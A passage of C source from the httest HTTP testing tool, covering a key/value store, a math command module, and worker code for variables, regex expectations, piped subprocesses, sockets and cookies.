store_set(store, key, element->value); } } /** * Get number of key/values. * @param store IN store hook * @return count */ apr_size_t store_get_size(store_t *store) { return apr_hash_count(store->hash); } /** * Copy store * @param store IN store hook * @param pool IN pool for new store * @return new store */ store_t *store_copy(store_t *store, apr_pool_t *pool) { store_t *copy = store_make(pool); store_merge(copy, store); return copy; } /** * Get table of key/values for iteration * @param store IN store hook * @param pool IN to allocate keys table * @return table of key/values */ apr_table_t *store_get_table(store_t *store, apr_pool_t *pool) { apr_hash_index_t *i; const void *key; void *val; store_element_t *element; apr_table_t *table = apr_table_make(pool, 5); for (i = apr_hash_first(pool, store->hash); i; i = apr_hash_next(i)) { apr_hash_this(i, &key, NULL, &val); element = val; apr_table_set(table, key, element->value); } return table; } httest-2.4.8/src/math_module.c0000664000175100017510000001464512205142236013225 00000000000000/** * Copyright 2010 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Implementation of the HTTP Test Tool math module */ /************************************************************************ * Includes ***********************************************************************/ #include #include #include #include #include #include "eval.h" #include "module.h" /************************************************************************ * Definitions ***********************************************************************/ /************************************************************************ * Globals ***********************************************************************/ /************************************************************************ * Local ***********************************************************************/ /************************************************************************ * Commands ***********************************************************************/ /** * Evaluate a math expression, should be extended with >, <, >=,<=, == and ! * @param worker IN worker instance * @param parent IN caller * @param ptmp IN temporary pool for this function * @return APR_SUCCESS or APR_EINVAL if expression is incorrect */ static apr_status_t block_MATH_EVAL(worker_t *worker, worker_t *parent, apr_pool_t *ptmp) { apr_status_t status; long val; const char *value = store_get(worker->params, "1"); const char *var = store_get(worker->params, "2"); char *expr = apr_pstrdup(ptmp, value); math_eval_t *eval_hook = math_eval_make(ptmp); if (!value) { worker_log(worker, LOG_ERR, "Missing expression"); return APR_EINVAL; } if (!var) { worker_log(worker, LOG_ERR, "Missing variable"); return APR_EINVAL; } if ((status = math_evaluate(eval_hook, expr, &val)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Expression \"%s\" not valid", expr); return status; } worker_var_set(parent, var, apr_ltoa(ptmp, val)); return APR_SUCCESS; } /** * Legacy simple math evaluator us block_MATH_EVAL instead * @param worker IN worker instance * @param parent IN caller * @param ptmp IN temporary pool for this function * @return APR_SUCCESS or APR_EINVAL if expression is incorrect */ static apr_status_t block_MATH_OP(worker_t *worker, worker_t *parent, apr_pool_t *ptmp) { const char *param; const char *op; apr_int64_t ileft; apr_int64_t iright; apr_int64_t result; param = store_get(worker->params, "1"); if (param == NULL) { worker_log(worker, LOG_ERR, " value expected"); return APR_EINVAL; } ileft = apr_atoi64(param); op = store_get(worker->params, "2"); if (op == NULL) { worker_log(worker, LOG_ERR, "ADD, SUB, MUL or DIV expected"); return APR_EINVAL; } param = store_get(worker->params, "3"); if (param == NULL) { worker_log(worker, LOG_ERR, " value expected"); return APR_EINVAL; } iright = apr_atoi64(param); param = store_get(worker->params, "4"); if (param == NULL) { worker_log(worker, LOG_ERR, " expected"); return APR_EINVAL; } /* do operation */ if (strcasecmp(op, "ADD") == 0) { result = ileft + iright; } else if (strcasecmp(op, "SUB") == 0) { result = ileft - iright; } else if (strcasecmp(op, "MUL") == 0) { result = ileft * iright; } else if (strcasecmp(op, "DIV") == 0) { if (iright == 0) { worker_log(worker, LOG_ERR, "Division by zero"); return APR_EINVAL; } result = ileft / iright; } else { worker_log(worker, LOG_ERR, "Unknown operant %s", op); return APR_ENOTIMPL; } /* store it do var */ worker_var_set(parent, param, apr_off_t_toa(ptmp, result)); return APR_SUCCESS; } /** * Generate a random number. * @param worker IN worker instance * @param parent IN caller * @param ptmp IN temporary pool for this function * @return APR_SUCCESS or APR_EINVAL if expression is incorrect */ static apr_status_t block_MATH_RAND(worker_t *worker, worker_t *parent, apr_pool_t *ptmp) { int start; int end; int result; const char *val = store_get(worker->params, "1"); if (val == NULL) { worker_log(worker, LOG_ERR, "No start defined"); return APR_EINVAL; } start = apr_atoi64(val); val = store_get(worker->params, "2"); if (val == NULL) { worker_log(worker, LOG_ERR, "No end defined"); return APR_EINVAL; } end = apr_atoi64(val); val = store_get(worker->params, "3"); if (val == NULL) { worker_log(worker, LOG_ERR, "No variable name specified"); return APR_EINVAL; } result = start + (rand() % (end - start)); worker_var_set(parent, val, apr_itoa(ptmp, result)); return APR_SUCCESS; } /************************************************************************ * Module ***********************************************************************/ apr_status_t math_module_init(global_t * global) { apr_status_t status; if ((status = module_command_new(global, "MATH", "_EVAL", " ", "callculates and stores it in ", block_MATH_EVAL)) != APR_SUCCESS) { return status; } if ((status = module_command_new(global, "MATH", "_OP", " ADD|SUB|DIV|MUL ", "Legacy math evaluator use _MATH:EVAL instead", block_MATH_OP)) != APR_SUCCESS) { return status; } if ((status = module_command_new(global, "MATH", "_RAND", " ", "Generates a number between and and stores result in" "", block_MATH_RAND)) != APR_SUCCESS) { return status; } return APR_SUCCESS; } httest-2.4.8/src/worker.c0000664000175100017510000035330012205174226012236 00000000000000/** * Copyright 2006 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Implementation of the HTTP Test Tool worker. */ /************************************************************************ * Includes ***********************************************************************/ #ifdef HAVE_CONFIG_H #include #endif #include #include #include #include #include #include #include #include #include #include #include #include #include #include #if APR_HAVE_UNISTD_H #include /* for getpid() */ #endif #include "defines.h" #include "util.h" #include "replacer.h" #include "regex.h" #include "file.h" #include "transport.h" #include "socket.h" #include "worker.h" #include "module.h" #include "eval.h" #include "tcp_module.h" /************************************************************************ * Definitions ***********************************************************************/ typedef struct write_buf_to_file_s { char *buf; apr_size_t len; apr_file_t *fp; } write_buf_to_file_t; typedef struct tunnel_s { sockreader_t *sockreader; socket_t *sendto; } tunnel_t; typedef struct flush_s { #define FLUSH_DO_NONE 0 #define FLUSH_DO_SKIP 1 int flags; } flush_t; typedef struct replacer_s { int unresolved; apr_pool_t *ptmp; worker_t *worker; } replacer_t; #define RECORDER_CONFIG "RECORDER" typedef struct recorder_s { int on; #define RECORDER_OFF 0 #define RECORDER_RECORD 1 #define RECORDER_PLAY 2 int flags; #define RECORDER_RECORD_NONE 0 #define RECORDER_RECORD_STATUS 1 #define RECORDER_RECORD_HEADERS 2 #define RECORDER_RECORD_BODY 4 #define RECORDER_RECORD_ALL RECORDER_RECORD_STATUS|RECORDER_RECORD_HEADERS|RECORDER_RECORD_BODY sockreader_t *sockreader; } recorder_t; #define SH_CONFIG "SH" typedef struct sh_s { apr_pool_t *pool; apr_file_t *tmpf; } sh_t; #define EXEC_CONFIG "EXEC" typedef struct exec_s { apr_pool_t *pool; apr_proc_t *proc; } exec_t; /************************************************************************ * Globals ***********************************************************************/ extern int success; /************************************************************************ * Implementation ***********************************************************************/ const char *worker_get_file_and_line(worker_t *worker) { if (worker && worker->lines) { apr_table_entry_t *e = (apr_table_entry_t *) apr_table_elts(worker->lines)->elts; if (worker->cmd < apr_table_elts(worker->lines)->nelts) { return e[worker->cmd].key; } } return NULL; } /** * checked lock function, will exit FAILED if status not ok * * @param mutex IN mutex */ void lock(apr_thread_mutex_t *mutex) { apr_status_t status; if ((status = apr_thread_mutex_lock(mutex)) != APR_SUCCESS) { apr_pool_t *ptmp; apr_pool_create_unmanaged_ex(&ptmp, NULL, NULL); success = 0; fprintf(stderr, "could not lock: %s(%d)\n", my_status_str(ptmp, status), status); exit(1); } } /** * checked unlock function, will exit FAILED if status not ok * * @param mutex IN mutex */ void unlock(apr_thread_mutex_t *mutex) { apr_status_t status; if ((status = apr_thread_mutex_unlock(mutex)) != APR_SUCCESS) { apr_pool_t *ptmp; apr_pool_create_unmanaged_ex(&ptmp, NULL, NULL); success = 0; fprintf(stderr, "could not unlock: %s(%d)\n", my_status_str(ptmp, status), status); exit(1); } } /** * Get recorder struct from worker config * @param worker IN thread object * @return recoder */ static recorder_t *worker_get_recorder(worker_t *worker) { recorder_t *recorder = module_get_config(worker->config, RECORDER_CONFIG); if (!recorder) { recorder = apr_pcalloc(worker->pbody, sizeof(recorder_t)); module_set_config(worker->config, RECORDER_CONFIG, recorder); } return recorder; } /** * set a variable either as local or global * make a copy and replace existing * * @param worker IN thread object * @param var IN variable name * @param val IN value */ void worker_var_set(worker_t * worker, const char *var, const char *val) { const char *ret; /* do mapping from ret var to var */ if ((ret = store_get(worker->retvars, var))) { store_set(worker->vars, ret, val); return; } /* if not test if local */ if (store_get(worker->locals, var)) { store_set(worker->locals, var, val); return; } /* params can be shadowed by locals so this after locals */ if (store_get(worker->params, var)) { store_set(worker->params, var, val); return; } /* test if there are globals at all to avoid locking */ if (worker->global->shared) { /* test if this variable is a global one */ apr_thread_mutex_lock(worker->mutex); if (store_get(worker->global->shared, var)) { store_set(worker->global->shared, var, val); apr_thread_mutex_unlock(worker->mutex); return; } apr_thread_mutex_unlock(worker->mutex); } /* if there is no var at all stored it in thread global vars */ store_set(worker->vars, var, val); } /** * get a variable either as local or global * * @param worker IN thread object * @param var IN variable name * * @return value */ const char *worker_var_get(worker_t* worker, const char *var) { const char *val = NULL; /* first test locals */ if ((val = store_get(worker->locals, var))) { return val; } /* next are params */ if ((val = store_get(worker->params, var))) { return val; } /* next are thread globals */ if ((val = store_get(worker->vars, var))) { return val; } /* last test globals */ if (worker->global->shared) { apr_thread_mutex_lock(worker->mutex); val = store_get(worker->global->shared, var); apr_thread_mutex_unlock(worker->mutex); } return val; } /** * resolve vars * @param worker IN callee * @param name IN name to lookup * @param ptmp IN temp pool * @return value */ const char * worker_resolve_var(worker_t *worker, const char *name, apr_pool_t *ptmp) { const char *val = NULL; if (strchr(name, '(')) { int log_mode; char *command = apr_pstrdup(ptmp, name); int i = 0; while (command[i] != 0) { if (command[i] == '(' || command[i] == ')') { command[i] = ' '; } ++i; } command = apr_pstrcat(ptmp, command, " __INLINE_RET", NULL); /** call it */ log_mode = logger_get_mode(worker->logger); logger_set_mode(worker->logger, 0); if (command_CALL(NULL, worker, command, ptmp) == APR_SUCCESS) { val = worker_var_get(worker, "__INLINE_RET"); } logger_set_mode(worker->logger, log_mode); } if (!val) { val = worker_var_get(worker, name); } return val; } /** * replace vars upcall function * @param udata IN void pointer to replacer_t object * @param name IN name to lookup * @return value */ static const char * replacer_upcall(void *udata, const char *name) { const char *val = NULL; replacer_t *hook = udata; val = worker_resolve_var(hook->worker, name, hook->ptmp); if (!val) { hook->unresolved = 1; } return val; } /** * Replace vars with store, inline call and env vars * @param udata IN void pointer to replacer_t object * @param name IN variable name * @return value */ static const char * replacer_env_upcall(void *udata, const char *name) { const char *val = NULL; replacer_t *hook = udata; int unresolved = hook->unresolved; val = replacer_upcall(udata, name); if (!val) { char *env; hook->unresolved = unresolved; if (apr_env_get(&env, name, hook->ptmp) == APR_SUCCESS) { val = env; } if (!val) { hook->unresolved = 1; } } return val; } /** * replace variables in a line * * @param worker IN thread data object * @param line IN line to replace in * * @return new line */ char * worker_replace_vars(worker_t * worker, char *line, int *unresolved, apr_pool_t *ptmp) { char *new_line; replacer_t *upcall_hook = apr_pcalloc(ptmp, sizeof(*upcall_hook)); upcall_hook->worker = worker; upcall_hook->ptmp = ptmp; new_line = replacer(ptmp, line, upcall_hook, replacer_env_upcall); if (unresolved) { *unresolved = upcall_hook->unresolved; } return new_line; } /** * client thread * * @param thread IN thread object * @param selfv IN void pointer to tunnel object * * @return NULL */ static void * APR_THREAD_FUNC streamer(apr_thread_t * thread, void *selfv) { apr_status_t status; char buf[BLOCK_MAX]; apr_size_t len; tunnel_t *tunnel = selfv; do { /* read polled from and send to */ len = BLOCK_MAX - 1; status = sockreader_read_block(tunnel->sockreader, buf, &len); if (APR_STATUS_IS_EOF(status) && len > 0) { status = APR_SUCCESS; } else if (APR_STATUS_IS_TIMEUP(status)) { status = APR_SUCCESS; } if (status == APR_SUCCESS) { status = transport_write(tunnel->sendto->transport, buf, len); } } while (status == APR_SUCCESS); if (APR_STATUS_IS_EOF(status)) { status = APR_SUCCESS; } apr_thread_exit(thread, APR_SUCCESS); return NULL; } /** * local file write * * @param sockett IN socket * @param buf IN buffer to send * @param len IN no bytes of buffer to send * * @return apr status */ static apr_status_t file_write(apr_file_t *file, char *buf, apr_size_t len) { apr_status_t status = APR_SUCCESS; apr_size_t total = len; apr_size_t count = 0; while (total != count) { len = total - count; if ((status = apr_file_write(file, &buf[count], &len)) != APR_SUCCESS) { goto error; } count += len; } error: return status; } /** * Buffer converter depends on the worker->flags * * @param worker IN thread data object * @param buf INOUT buffer to rewrite * @param len INOUT buffer len */ static void worker_buf_convert(worker_t *self, char **buf, apr_size_t *len) { int j; char *hexbuf; apr_pool_t *pool; if (!(*buf)) { return; } if (self->flags & FLAGS_ONLY_PRINTABLE) { for (j = 0; j < *len; j++) { if ((*buf)[j] < 32) { (*buf)[j] = ' '; } } } if (self->flags & FLAGS_PRINT_HEX) { apr_pool_create_unmanaged_ex(&pool, NULL, NULL); hexbuf = NULL; for (j = 0; j < *len; j++) { if (hexbuf == NULL) { hexbuf = apr_psprintf(pool, "%02X", (*buf)[j]); } else { hexbuf = apr_psprintf(pool, "%s %02X", hexbuf, (*buf)[j]); } } *buf = apr_pstrdup(self->pbody, hexbuf); *len = strlen(*buf); apr_pool_destroy(pool); } } /** * pipe buf to workers running process * * @param worker IN thread data object * @param buf IN buffer to rewrite * @param len IN buffer len */ static apr_status_t worker_buf_pipe_exec(worker_t *worker, char *buf, apr_size_t len) { apr_status_t status = APR_SUCCESS; apr_exit_why_e exitwhy; int exitcode; exec_t *exec = module_get_config(worker->config, EXEC_CONFIG); if ((status = file_write(exec->proc->in, buf, len)) != APR_SUCCESS) { return status; } apr_file_close(exec->proc->in); apr_proc_wait(exec->proc, &exitcode, &exitwhy, APR_WAIT); if (exitcode != 0) { status = APR_EGENERAL; } module_set_config(worker->config, EXEC_CONFIG, NULL); apr_pool_destroy(exec->pool); return status; } /** * write buf to file pointer * * @param thread IN thread pointer * @param selfv IN void pointer of type write_buf_to_file_t * * @return NULL */ static void * APR_THREAD_FUNC worker_write_buf_to_file(apr_thread_t * thread, void *selfv) { write_buf_to_file_t *wbtf = selfv; apr_size_t len; len = wbtf->len; file_write(wbtf->fp, wbtf->buf, len); apr_file_close(wbtf->fp); apr_thread_exit(thread, APR_SUCCESS); return NULL; } /** * do filter buf with workers process in/out * * @param worker IN thread data object * @param ptmp IN temporary pool to alloc thread * @param buf INOUT buffer to rewrite * @param len INOUT buffer len */ static apr_status_t worker_buf_filter_exec(worker_t *worker, apr_pool_t *ptmp, char **buf, apr_size_t *len) { apr_status_t status; apr_status_t tmp_status; write_buf_to_file_t write_buf_to_file; apr_threadattr_t *tattr; apr_thread_t *thread; bufreader_t *br; apr_exit_why_e exitwhy; int exitcode; exec_t *exec = module_get_config(worker->config, EXEC_CONFIG); worker_log(worker, LOG_DEBUG, "write to stdin, read from stdout"); /* start write thread */ write_buf_to_file.buf = *buf; write_buf_to_file.len = *len; write_buf_to_file.fp = exec->proc->in; if ((status = apr_threadattr_create(&tattr, ptmp)) != APR_SUCCESS) { goto out_err; } if ((status = apr_threadattr_stacksize_set(tattr, DEFAULT_THREAD_STACKSIZE)) != APR_SUCCESS) { goto out_err; } if ((status = apr_threadattr_detach_set(tattr, 1)) != APR_SUCCESS) { goto out_err; } if ((status = apr_thread_create(&thread, tattr, worker_write_buf_to_file, &write_buf_to_file, worker->pbody)) != APR_SUCCESS) { goto out_err; } /* read from worker->proc.out to buf */ if ((status = bufreader_new(&br, exec->proc->out, worker->pbody)) == APR_SUCCESS) { bufreader_read_eof(br, buf, len); } if (status == APR_EOF) { status = APR_SUCCESS; } apr_thread_join(&tmp_status, thread); apr_proc_wait(exec->proc, &exitcode, &exitwhy, APR_WAIT); if (exitcode != 0) { status = APR_EGENERAL; goto out_err; } out_err: module_set_config(worker->config, EXEC_CONFIG, NULL); apr_pool_destroy(exec->pool); return status; } /** * Test socket state * * @param worker IN thread data object * * @return APR_SUCCESS or APR_ECONNABORTED */ apr_status_t worker_sockstate(worker_t * worker) { apr_status_t status = APR_SUCCESS; apr_size_t len = 1; if (!worker->socket) { return APR_ENOSOCKET; } if ((status = transport_set_timeout(worker->socket->transport, 1000)) != APR_SUCCESS) { return status; } status = transport_read(worker->socket->transport, &worker->socket->peek[worker->socket->peeklen], &len); if (APR_STATUS_IS_TIMEUP(status)) { status = APR_SUCCESS; } if (APR_STATUS_IS_EOF(status)) { status = APR_ECONNABORTED; goto go_out; } else if (status != APR_SUCCESS) { status = APR_ECONNABORTED; goto go_out; } else { worker->socket->peeklen += len; status = APR_SUCCESS; goto go_out; } go_out: transport_set_timeout(worker->socket->transport, worker->socktmo); return status; } /** * gets values from data and store it in the variable table * * @param worker IN thread data object * @param htt_regexs IN table of regular expressions to get the values from data * @param data IN data to match * * @return APR_SUCCESS */ apr_status_t worker_match(worker_t * worker, apr_table_t * htt_regexs, const char *data, apr_size_t len) { apr_table_entry_t *e; apr_table_entry_t *v; regmatch_t regmatch[11]; int i; int j; char *val; char *last; char *var; char *tmp; apr_table_t *vtbl; int n; apr_pool_t *pool; apr_status_t status = APR_SUCCESS; if (!data) { return APR_SUCCESS; } apr_pool_create_unmanaged_ex(&pool, NULL, NULL); vtbl = apr_table_make(pool, 2); e = (apr_table_entry_t *) apr_table_elts(htt_regexs)->elts; for (i = 0; i < apr_table_elts(htt_regexs)->nelts; ++i) { /* prepare vars if multiple */ apr_table_clear(vtbl); tmp = apr_pstrdup(pool, e[i].key); var = apr_strtok(tmp, " ", &last); while (var) { apr_table_set(vtbl, var, var); var = apr_strtok(NULL, " ", &last); } n = apr_table_elts(vtbl)->nelts; if (n > 10) { worker_log(worker, LOG_ERR, "Too many vars defined for _MATCH statement, max 10 vars allowed"); status = APR_EINVAL; goto error; } if (e[i].val && htt_regexec((htt_regex_t *) e[i].val, data, len, n + 1, regmatch, PCRE_MULTILINE) == 0) { v = (apr_table_entry_t *) apr_table_elts(vtbl)->elts; for (j = 0; j < n; j++) { val = apr_pstrndup(pool, &data[regmatch[j + 1].rm_so], regmatch[j + 1].rm_eo - regmatch[j + 1].rm_so); worker_var_set(worker, v[j].key, val); if (worker->match_seq) { /* if there is a defined match sequence do more checks */ if (strstr(worker->match_seq, v[j].key)) { if (strncmp(v[j].key, worker->match_seq, strlen(v[j].key)) == 0) { char *last; /* remove the first var in the var sequence */ apr_strtok(worker->match_seq, " ", &last); worker->match_seq = last; } } } } } } error: apr_pool_destroy(pool); return status; } /** * checks if data contains a given pattern * * @param self IN thread data object * @param htt_regexs IN table of regular expressions * @param data IN data to check * * @return APR_SUCCESS */ apr_status_t worker_expect(worker_t * self, apr_table_t * htt_regexs, const char *data, apr_size_t len) { apr_table_entry_t *e; int i; if (!data) { return APR_SUCCESS; } e = (apr_table_entry_t *) apr_table_elts(htt_regexs)->elts; for (i = 0; i < apr_table_elts(htt_regexs)->nelts; ++i) { if (e[i].val && htt_regexec((htt_regex_t *) e[i].val, data, len, 0, NULL, PCRE_MULTILINE) == 0) { } } return APR_SUCCESS; } /** * Throws assertions if specified match did have noch hit. * @param worker IN * @param match IN table of all specified matchs * @param namespace IN the namespace of this matchs * @param status IN current status of earlier calls * @return new status */ static apr_status_t worker_assert_match(worker_t * worker, apr_table_t *match, char *namespace, apr_status_t status) { apr_table_entry_t *e; int i; apr_pool_t *pool; e = (apr_table_entry_t *) apr_table_elts(match)->elts; for (i = 0; i < apr_table_elts(match)->nelts; ++i) { htt_regex_t *htt_regex = (htt_regex_t *) e[i].val; if (!htt_regexhits(htt_regex)) { worker_log(worker, LOG_ERR, "%s: Did expect %s", namespace, htt_regexpattern(htt_regex)); if (status == APR_SUCCESS) { status = APR_EINVAL; } } } apr_table_clear(match); pool = module_get_config(worker->config, namespace); module_set_config(worker->config, namespace, NULL); if (pool) { apr_pool_destroy(pool); } return status; } /** * Throws assertions if specified expect did have noch hit. * @param worker IN * @param expect IN table of all specified expects * @param namespace IN the namespace of this expects * @param status IN current status of earlier calls * @return new status */ static apr_status_t worker_assert_expect(worker_t * worker, apr_table_t *expect, char *namespace, apr_status_t status) { apr_table_entry_t *e; int i; apr_pool_t *pool; e = (apr_table_entry_t *) apr_table_elts(expect)->elts; for (i = 0; i < apr_table_elts(expect)->nelts; ++i) { htt_regex_t *htt_regex = (htt_regex_t *) e[i].val; if (e[i].key[0] != '!' && !htt_regexhits(htt_regex)) { worker_log(worker, LOG_ERR, "%s: Did expect \"%s\"", namespace, htt_regexpattern(htt_regex)); if (status == APR_SUCCESS) { status = APR_EINVAL; } } if (e[i].key[0] == '!' && htt_regexhits((htt_regex_t *) e[i].val)) { worker_log(worker, LOG_ERR, "%s: Did not expect \"%s\"", namespace, &e[i].key[1]); if (status == APR_SUCCESS) { status = APR_EINVAL; } } } apr_table_clear(expect); pool = module_get_config(worker->config, namespace); module_set_config(worker->config, namespace, NULL); if (pool) { apr_pool_destroy(pool); } return status; } /** * Grep do not have an assertion at all, actually. * @param worker IN * @param expect IN table of all specified expects * @param namespace IN the namespace of this expects * @param status IN current status of earlier calls * @return new status */ static apr_status_t worker_assert_grep(worker_t * worker, apr_table_t *grep, char *namespace, apr_status_t status) { apr_pool_t *pool; apr_table_clear(grep); pool = module_get_config(worker->config, namespace); module_set_config(worker->config, namespace, NULL); if (pool) { apr_pool_destroy(pool); } return status; } /** * Do check for if all defined expects are handled * * @param worker IN worker thread object * @param status IN current status * * @return current status or APR_EINVAL if there are unhandled expects */ apr_status_t worker_assert(worker_t * worker, apr_status_t status) { status = worker_assert_match(worker, worker->match.dot, "MATCH .", status); status = worker_assert_match(worker, worker->match.headers, "MATCH headers", status); status = worker_assert_match(worker, worker->match.body, "MATCH body", status); status = worker_assert_expect(worker, worker->expect.dot, "EXPECT .", status); status = worker_assert_expect(worker, worker->expect.headers, "EXPECT headers", status); status = worker_assert_expect(worker, worker->expect.body, "EXPECT body", status); status = worker_assert_grep(worker, worker->grep.dot, "GREP .", status); status = worker_assert_grep(worker, worker->grep.headers, "GREP headers", status); status = worker_assert_grep(worker, worker->grep.body, "GREP body", status); /* check if match sequence is empty */ if (worker->match_seq && worker->match_seq[0] != 0) { worker_log(worker, LOG_ERR, "The following match sequence \"%s\" was not in correct order", worker->match_seq); status = APR_EINVAL; goto exit; } exit: { apr_pool_t *pool; pool = module_get_config(worker->config, "MATCH_SEQ"); if (pool) { module_set_config(worker->config, apr_pstrdup(pool, "MATCH_SEQ"), NULL); apr_pool_destroy(pool); } } return status; } /** * Check for error expects handling * * @param worker IN worker thread object * @param status IN current status * * @return current status or APR_INVAL */ apr_status_t worker_check_error(worker_t *worker, apr_status_t status) { char *error; apr_table_entry_t *e; int i; /* nothing to do in this case */ if (status == APR_SUCCESS) { return status; } /* handle special case (break loop) */ if (status == -1) { return status; } error = apr_psprintf(worker->pbody, "%s(%d)", my_status_str(worker->pbody, status), status); worker_match(worker, worker->match.error, error, strlen(error)); worker_match(worker, worker->grep.error, error, strlen(error)); worker_expect(worker, worker->expect.error, error, strlen(error)); if (apr_table_elts(worker->expect.error)->nelts) { status = APR_SUCCESS; e = (apr_table_entry_t *) apr_table_elts(worker->expect.error)->elts; for (i = 0; i < apr_table_elts(worker->expect.error)->nelts; ++i) { if (e[i].key[0] != '!' && !htt_regexhits((htt_regex_t *) e[i].val)) { worker_log(worker, LOG_ERR, "EXPECT: Did expect error \"%s\"", e[i].key); status = APR_EINVAL; goto error; } if (e[i].key[0] == '!' && htt_regexhits((htt_regex_t *) e[i].val)) { worker_log(worker, LOG_ERR, "EXPECT: Did not expect error \"%s\"", &e[i].key[1]); status = APR_EINVAL; goto error; } } apr_table_clear(worker->expect.error); } if (apr_table_elts(worker->match.error)->nelts) { status = APR_SUCCESS; e = (apr_table_entry_t *) apr_table_elts(worker->match.error)->elts; for (i = 0; i < apr_table_elts(worker->match.error)->nelts; ++i) { if (!htt_regexhits((htt_regex_t *) e[i].val)) { worker_log(worker, LOG_ERR, "MATCH error: Did expect %s", e[i].key); status = APR_EINVAL; } } apr_table_clear(worker->match.error); } error: if (status == APR_SUCCESS) { worker_log(worker, LOG_INFO, "%s %s", worker->name, error); } else { worker_log(worker, LOG_ERR, "%s %s", worker->name, error); } return status; } /** * Test for unused expects and matchs * @param worker IN thread data object * @return APR_SUCCESS or APR_EGENERAL */ void worker_test_reset(worker_t * worker) { apr_table_clear(worker->match.dot); apr_table_clear(worker->match.headers); apr_table_clear(worker->match.body); apr_table_clear(worker->match.error); apr_table_clear(worker->expect.dot); apr_table_clear(worker->expect.headers); apr_table_clear(worker->expect.body); apr_table_clear(worker->expect.error); } /** * Test for unused expects and matchs * @param worker IN thread data object * @return APR_SUCCESS or APR_EGENERAL */ apr_status_t worker_test_unused(worker_t * worker) { if (apr_table_elts(worker->match.dot)->nelts) { worker_log(worker, LOG_ERR, "There are unused MATCH ."); return APR_EGENERAL; } if (apr_table_elts(worker->match.headers)->nelts) { worker_log(worker, LOG_ERR, "There are unused MATCH headers"); return APR_EGENERAL; } if (apr_table_elts(worker->match.body)->nelts) { worker_log(worker, LOG_ERR, "There are unused MATCH body"); return APR_EGENERAL; } if (apr_table_elts(worker->match.exec)->nelts) { worker_log(worker, LOG_ERR, "There are unused MATCH exec"); return APR_EGENERAL; } if (apr_table_elts(worker->expect.dot)->nelts) { worker_log(worker, LOG_ERR, "There are unused EXPECT ."); return APR_EGENERAL; } if (apr_table_elts(worker->expect.headers)->nelts) { worker_log(worker, LOG_ERR, "There are unused EXPECT headers"); return APR_EGENERAL; } if (apr_table_elts(worker->expect.body)->nelts) { worker_log(worker, LOG_ERR, "There are unused EXPECT body"); return APR_EGENERAL; } return APR_SUCCESS; } /** * Test for unused expects errors and matchs * * @param worker IN thread data object * * @return APR_SUCCESS or APR_EGENERAL */ apr_status_t worker_test_unused_errors(worker_t * worker) { if (apr_table_elts(worker->expect.error)->nelts) { worker_log(worker, LOG_ERR, "There are unused EXPECT ERROR"); return APR_EGENERAL; } if (apr_table_elts(worker->match.error)->nelts) { worker_log(worker, LOG_ERR, "There are unused MATCH ERROR"); return APR_EGENERAL; } return APR_SUCCESS; } /** * Close current socket * * @param self IN thread data object * * @return apr status */ apr_status_t worker_conn_close(worker_t * self, char *info) { apr_status_t status; if (!self->socket) { return APR_ENOSOCKET; } if (self->socket->socket_state == SOCKET_CLOSED) { return APR_SUCCESS; } if ((status = htt_run_close(self, info, &info)) != APR_SUCCESS) { if (APR_STATUS_IS_EINTR(status)) { return APR_SUCCESS; } return status; } if (!info || !info[0] || strcmp(info, "TCP") == 0) { tcp_close(self); self->socket->socket_state = SOCKET_CLOSED; } sockreader_destroy(&self->socket->sockreader); return APR_SUCCESS; } /** * Close all sockets for this worker * * @param self IN thread data object * * @return apr status */ void worker_conn_close_all(worker_t *self) { apr_hash_index_t *hi; void *s; socket_t *cur = self->socket; for (hi = apr_hash_first(self->pbody, self->sockets); hi; hi = apr_hash_next(hi)) { apr_hash_this(hi, NULL, NULL, &s); self->socket = s; worker_conn_close(self, NULL); } self->socket = cur; if (self->listener) { apr_socket_close(self->listener); } } /** * Convertion and/or pipe to executable and/or read from executable and check * _EXPECT and MATCH. * * @param worker IN worker object * @param buf IN buffer to handle * @param len IN length of buffer * * @return apr status */ apr_status_t worker_handle_buf(worker_t *worker, apr_pool_t *pool, char *buf, apr_size_t size) { apr_status_t status = APR_SUCCESS; char *tmpbuf = buf; apr_size_t len = size; if (tmpbuf) { worker_buf_convert(worker, &tmpbuf, &len); if (worker->flags & FLAGS_PIPE_IN) { worker->flags &= ~FLAGS_PIPE_IN; if ((status = worker_buf_pipe_exec(worker, tmpbuf, len)) != APR_SUCCESS) { return status; } } else if (worker->flags & FLAGS_FILTER) { worker->flags &= ~FLAGS_FILTER; if ((status = worker_buf_filter_exec(worker, pool, &tmpbuf, &len)) != APR_SUCCESS) { return status; } } if (tmpbuf) { worker_log_buf(worker, LOG_INFO, '<', tmpbuf, len); worker_match(worker, worker->match.dot, tmpbuf, len); worker_match(worker, worker->match.body, tmpbuf, len); worker_match(worker, worker->grep.dot, tmpbuf, len); worker_match(worker, worker->grep.body, tmpbuf, len); worker_expect(worker, worker->expect.dot, tmpbuf, len); worker_expect(worker, worker->expect.body, tmpbuf, len); } } return status; } /** * Store all cookies in the header table of worker in a cookie line * * @param worker IN thread data object */ static void worker_set_cookie(worker_t *worker) { int i; apr_table_entry_t *e; if (!worker->socket) { return; } if (!worker->socket->cookies) { worker->socket->cookies = apr_table_make(worker->pbody, 5); } e = (apr_table_entry_t *) apr_table_elts(worker->headers)->elts; for (i = 0; i < apr_table_elts(worker->headers)->nelts; ++i) { if (strcmp(e[i].key, "Set-Cookie") == 0) { char *last; char *key; char *value; char *cookie = apr_pstrdup(worker->pbody, e[i].val); key = apr_strtok(cookie, "=", &last); value = apr_strtok(NULL, ";", &last); apr_table_set(worker->socket->cookies, key, value); } } worker->socket->cookie = NULL; e = (apr_table_entry_t *) apr_table_elts(worker->socket->cookies)->elts; for (i = 0; i < apr_table_elts(worker->socket->cookies)->nelts; ++i) { if (worker->socket->cookie) { worker->socket->cookie = apr_pstrcat(worker->pbody, worker->socket->cookie, "; ", 